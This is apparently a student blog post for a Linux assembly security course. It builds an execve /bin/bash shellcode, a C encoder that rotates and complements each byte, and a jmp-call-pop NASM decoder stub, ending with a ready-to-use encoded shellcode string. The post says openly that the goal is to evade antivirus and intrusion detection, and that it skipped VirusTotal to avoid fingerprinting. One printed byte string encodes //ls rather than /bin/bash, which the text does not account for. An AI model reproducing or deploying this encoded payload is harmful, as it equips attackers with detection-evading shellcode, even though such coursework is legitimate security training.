SLAE Assignment 4 - Encoding/Decoding Shellcode


    Student SLAE - 891
    Github: https://github.com/phackt/slae
    http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

    Assignment 4:

    Code is available on my github repo.

    Our Goal:

    Create a custom encoding scheme

    • POC with using the execve-stack as the shellcode

    Hello everybody,

    Today we will create an encoded shellcode and its decoding routine. Encoding a shellcode is useful to bypass Antivirus or Intrusion Detection Systems. Our resulting shellcode and its opcodes will have no meaning at all if the encoding scheme if robust enough (for example avoid classic XOR encoding).

    For each byte, our encoding scheme will consists in:

    • Rolling four bits to the right (ROR instruction)
    • Getting the complement of that byte (NOT)

    We will apply this encoding scheme on the following execve /bin/bash stack shellcode:

    global _start			
    
    section .text
    _start:
    
    	; PUSH the first null dword 
    	xor eax, eax
    	push eax
    
    	; PUSH ////bin/bash (12) 
    
    	push 0x68736162
    	push 0x2f6e6962
    	push 0x2f2f2f2f
    
    	mov ebx, esp
    
    	push eax
    	mov edx, esp
    
    	push ebx
    	mov ecx, esp
    
    	mov al, 11
    	int 0x80
    

    Testing the execve stack shellcode provides a /bin/bash prompt indeed:

    # gcc -fno-stack-protector -z execstack -o shellcode shellcode.c  && ./shellcode
    Shellcode Length:  30
    roo[email protected]:/root/Documents/pentest/certs/slae/exam/assignment4# id
    uid=0(root) gid=0(root) groups=0(root)
    

    Execve stack shellcode looks like:

    \x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
    

    Let’s now create our encoding routine (shellcode_encode.c):

    #include <stdio.h>
    #include <string.h>
    
    // execve stack shellcode
    unsigned char shellcode[] = \
    "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
    
    // print shellcode
    void print_shellcode(){
    
    	printf("Length %d\n",sizeof(shellcode));
    	for (int i=0; i<strlen(shellcode); i++) {
    		printf("\\x%02x", shellcode[i]);
    	}
    	printf("\n");
    
    	for (int i=0; i<strlen(shellcode); i++) {
    		printf("0x%02x,", shellcode[i]);
    	}
    }
    
    void main()
    {
    
    	int	rotate = 4;	// rotate 4 bits to the right
    
    	// print initial shellcode
    	printf("Initial shellcode\n");
    	print_shellcode();
    	printf("\n");
    
    	for (int i=0; i<strlen(shellcode); i++) {
    		shellcode[i] = (shellcode[i] >> rotate) | (shellcode[i] << (8-rotate));	// ror method
    		shellcode[i] = ~shellcode[i]; // one's complement 
    	}
    
    	// print encoded shellcode
    	printf("\nEncoded shellcode\n");
    	print_shellcode();
    	printf("0xaa"); // marker for the end of encoded shellcode
    	printf("\n");
    
    }
    

    The encoded execve stack shellcode is the following:

    0xec,0xf3,0xfa,0x79,0xd9,0xe9,0xc8,0x79,0x79,0xd9,0x69,0x19,0x0d,0x79,0x0d,0x0d,0x0d,0x0d,0x67,0xc1,0xfa,0x67,0xd1,0xca,0x67,0xe1,0xf4,0x4f,0x23,0xf7,0xaa
    

    Let’s create the decoding nasm shellcode shellcode_decoder.nasm:

    global _start			
    
    section .text
    _start:
    
    	jmp short call_shellcode    ; jmp, call, pop technique
    
    decoder:
    	pop esi
    
    decode: 
    	xor eax, eax
    	xor ebx, ebx
    	mov al, byte [esi]          ; we move the byte to be decoded
    	not al                      ; one's complement
    	rol al, 4                   ; rolling on left to decode the rolling on right encoding
    	mov byte [esi], al          ; saving the decoded byte
    
    	lea esi, [esi + 1]          ; next byte   
    	mov bl, [esi]  
    	cmp bl, 0xaa                ; looking for the end of encoded shellcode
    	je short EncodedShellcode   ; we jump to the decoded shellcode
    	jmp short decode            ; keeping on decoding
    
    call_shellcode:
    
    	call decoder
    	EncodedShellcode: db 0xec,0xf3,0xfa,0x79,0xd9,0xe9,0xc8,0x79,0x79,0xd9,0x69,0x19,0x0d,0x79,0x0d,0x0d,0x0d,0x0d,0x67,0xc1,0xfa,0x67,0xd1,0xca,0x67,0xe1,0xf4,0x4f,0x23,0xf7,0xaa
    

    Let’s assembly, link and get the decoding shellcode:

    # ./compile.sh shellcode_decoder
    [+] Assembling with Nasm ... 
    [+] Linking ...
    [+] Done!
    # objdump -d ./shellcode_decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
    "\xeb\x1a\x5e\x31\xc0\x31\xdb\x8a\x06\xf6\xd0\xc0\xc0\x04\x88\x06\x8d\x76\x01\x8a\x1e\x80\xfb\xaa\x74\x07\xeb\xe7\xe8\xe1\xff\xff\xff\xec\xf3\xfa\x79\xd9\xe9\xc8\x79\x79\xd9\x69\x19\x0d\x79\x0d\x0d\x0d\x0d\x67\xc1\xfa\x67\xd1\xca\x67\xe1\xf4\x4f\x23\xf7\xaa"
    

    Let’s update the shellcode.c file and execute our decoding shellcode:
    image1

    Remember that running our shellcode thanks to shellcode.c is useful because our shellcode will be located into the writable .data segment.
    If we directly execute the shellcode_decoder executable, it will result in a segmentation fault because it will try to rewrite the EncodedShellcode variable located in the non writable .text segment (also useful to use the jmp/call/pop technique in order to avoid null bytes and to dynamically get the address of our encoded shellcode).

    We did not test it on VirusTotal in order to avoid the fingerprinting of the encoding scheme.

    Hope you enjoyed this post, don’t hesitate to comment and share.

    Phackt